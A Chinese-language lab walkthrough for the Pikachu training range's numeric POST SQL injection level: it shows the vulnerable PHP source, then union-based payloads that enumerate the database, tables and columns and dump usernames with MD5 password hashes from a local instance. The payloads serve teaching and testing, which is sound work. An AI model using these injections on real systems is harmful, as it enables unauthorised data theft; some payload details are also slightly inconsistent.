当前位置: 首页 > news >正文

pikachu靶场通关笔记18 SQL注入01-数字型注入(POST)

目录

一、SQL注入

二、数字型注入 

三、源码分析

四、渗透实战

1、渗透准备

2、SQL探测

(1)输入单引号

(2)万能注入语句

3、获取回显列orderby

4、获取数据库名database

5、获取表名table

6、获取列名column

7、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对数字型注入(post)关卡源码的代码审计找到SQL安全风险的真实原因,讲解数字型注入(post)的原理并进行渗透实践,本文为SQL注入01之数字型注入(post)关卡的渗透部分。

一、SQL注入

SQL 注入是指攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,来改变原本的 SQL 查询逻辑,从而越权获取、修改或删除数据库中的数据,甚至可能获得数据库的管理权限。主要危害如下所示。

  • 数据泄露:攻击者可以查询数据库中的敏感信息,如用户密码、个人信息、财务数据等。

  • 数据篡改:攻击者可以修改数据库中的数据,例如篡改用户权限、修改商品价格等。

  • 数据删除:攻击者可以删除数据库中的数据,导致业务系统瘫痪。

  • 服务器控制:在某些情况下,攻击者可以通过SQL注入获取服务器的权限,进一步控制服务器。

二、数字型注入 

数字型 SQL 注入是 SQL 注入攻击的一种类型,通常发生在应用程序接收用户输入的数字并将其直接用于 SQL 查询中,而没有对输入进行适当的验证和过滤。攻击者可以通过构造特殊的数字输入,改变 SQL 查询的逻辑,从而达到非法访问或操作数据库的目的。

数字型 SQL 注入主要针对数值型输入字段(如ID、年龄、价格等)进行攻击。与字符型SQL注入不同,数值型注入不依赖于单引号(')或双引号(")来拼接SQL语句,而是直接通过数值或逻辑表达式来构造恶意SQL语句。

三、源码分析

打开pikachu靶场的SQL注入-数值型关卡对应的源码sqli_id.php,很明显查询语句没有对POST方法传入的参数id进行过滤,存在SQL注入风险,具体如下所示。

这段 PHP 代码的主要功能是处理POST表单提交。当用户通过 POST 方法提交表单,并且表单中包含 id 字段时,代码会将用户输入的 id 作为条件,从 member 表中查询对应的 username 和 email 信息。如果查询到结果,则将用户的用户名和邮箱信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 id 不存在。经过详细注释的代码如下所示。

<?php
// 检查是否通过POST方法提交了表单,并且表单中名为 'id' 的字段不为空
if(isset($_POST['submit']) && $_POST['id']!=null){// 从POST请求中获取名为 'id' 的字段的值,并将其赋值给变量 $id$id=$_POST['id'];// 构造一个SQL查询语句,将用户输入的 $id 直接拼接到查询语句中// 此查询的目的是从 member 表中选取 id 等于用户输入值的记录的 username 和 email 字段$query="select username,email from member where id=$id";// 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象$result=execute($link, $query);// 检查查询结果集中的行数是否大于等于 1// mysqli_num_rows 函数用于获取结果集中的行数// 如果使用 == 1 会更严格,仅当结果集中只有一行记录时才满足条件if(mysqli_num_rows($result)>=1){// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据// mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据while($data=mysqli_fetch_assoc($result)){// 从关联数组 $data 中获取 'username' 字段的值,并赋值给变量 $username$username=$data['username'];// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email$email=$data['email'];// 将用户信息拼接成 HTML 字符串,添加到变量 $html 中$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";}}else{// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html 中$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";}
}
?>

不过这段代码存在数值型 SQL 注入风险,原因在于对用户输入的 id 没有进行任何过滤和验证,直接将其拼接到 SQL 查询语句中。攻击者可以通过构造特殊的输入来改变原有的 SQL 查询逻辑。例如,攻击者可以在 id 输入框中输入 1 OR 1=1,这样实际执行的 SQL 查询注入命令如下所示。 

select username,email from member where id=1 OR 1=1;

由于 1=1 始终为真,这个查询会返回 member 表中的所有记录,攻击者就可以获取到所有用户的用户名和邮箱信息。更严重的是,攻击者还可以构造更复杂的注入语句,如删除数据库中的数据、执行系统命令等,从而对数据库造成严重破坏。为了避免 SQL 注入风险,应该使用参数化查询或者对用户输入进行严格的过滤和验证。 

四、渗透实战

1、渗透准备

打开靶场SQL注入第一关,完整URL链接和页面如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_id.php

burpsuite开启抓包,页面中的选择框点击下拉菜单,选择数值“1”后点击查询,页面显示了用户名和邮箱信息,这与代码审计的分析一致,具体如下所示。

burpsuite拦截到该报文,发现此报文为POST型,故而我们需要使用bp的repeater模块进行渗透测试,于是将此报文发送到repeater。 

报文发送到repeater后的效果如下所示,报文为POST型,查询时对其进行抓包,发现带入数据库服务器内部的参数为id,本次查询的id为1。 

2、SQL探测

(1)输入单引号

根据源码我们知道id为数值型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在数字后加上单引号,报错信息说明有注入风险,如下所示。

id=1'

(2)万能注入语句

接下来尝试万能注入语句,判断闭合语句,在数字后加上or= 1=1#万能注入语句,如下所示。

id=1 or 1=1#

3、获取回显列orderby

使用order by判断其可回显的字段,如下所示最终判断其回显列数为2个。

id=1 order by 3#

id=1 order by 2#

由于回显位共两个,且通过orderby获知仅有两列,故而可知这两列已经全部显示出来了,即第一个回显位和第二个回显位都有效。

4、获取数据库名database

id=1 union select database(),user()#

输入id=1 union select database(),user()#后注入成功,显示信息为两个,第一个是原有信息,通过第二个获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

接下来修改union前面的字符串,使前面内容为不存在的id(也就是-1),使只输出union后面的内容,具体如下所示。  

-1' union select database(),user()#

输入id=-1' union select database(),user()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

5、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。

6、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

7、获取字段

对pikachu数据库中users表的username、password列进行爆破,命令如下所示。

-1' union select 1,group_concat(username,':',password) from pikachu.users#

渗透后获取到数据库users表的username、password字段如下所示,渗透成功。  

admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03

http://www.xdnf.cn/news/899281.html

相关文章:

  • JS-- for...in和for...of
  • 在WPF项目中集成Python:Python.NET深度实战指南
  • 如何更改默认 Crontab 编辑器 ?
  • 紫光同创FPGA系列实现Aurora 8b/10b协议
  • 宝塔think PHP8 安装使用FFmpeg 视频上传
  • 第J3-1周:DenseNet算法 实现乳腺癌识别
  • 11.RV1126-ROCKX项目
  • 深入浅出多路归并:原理、实现与实战案例解析
  • 前端对WebSocket进行封装,并建立心跳监测
  • 【MATLAB去噪算法】基于ICEEMDAN联合小波阈值去噪算法
  • Linux(线程控制)
  • 佰力博科技与您探讨材料介电性能测试的影响因素
  • 机器学习与深度学习14-集成学习
  • 【Python 算法零基础 4.排序 ⑪ 十大排序算法总结】
  • 【数据结构】_排序
  • Ubuntu 系统静态网络配置
  • ansible和saltstack安装和简单操作
  • AWS API Gateway配置日志
  • 在SpringBoot中使用AWS SDK实现邮箱验证码服务
  • React项目的状态管理:Redux Toolkit
  • @Transactional注解失效的原因有哪些?
  • Javascript 编程基础(5)面向对象 | 5.2、原型系统
  • java教程笔记(十一)-泛型
  • C语言字符数组输入输出方法大全(附带实例)
  • Axios请求超时重发机制
  • 亚矩阵云手机实测体验:稳定流畅背后的技术逻辑​
  • 面向无人机海岸带生态系统监测的语义分割基准数据集
  • Cursor 1.0正式推出:全面解析你的AI 编程助手
  • 湖北理元理律师事务所:企业债务重组的风险控制方法论
  • 办公提效的AI免费工具使用感悟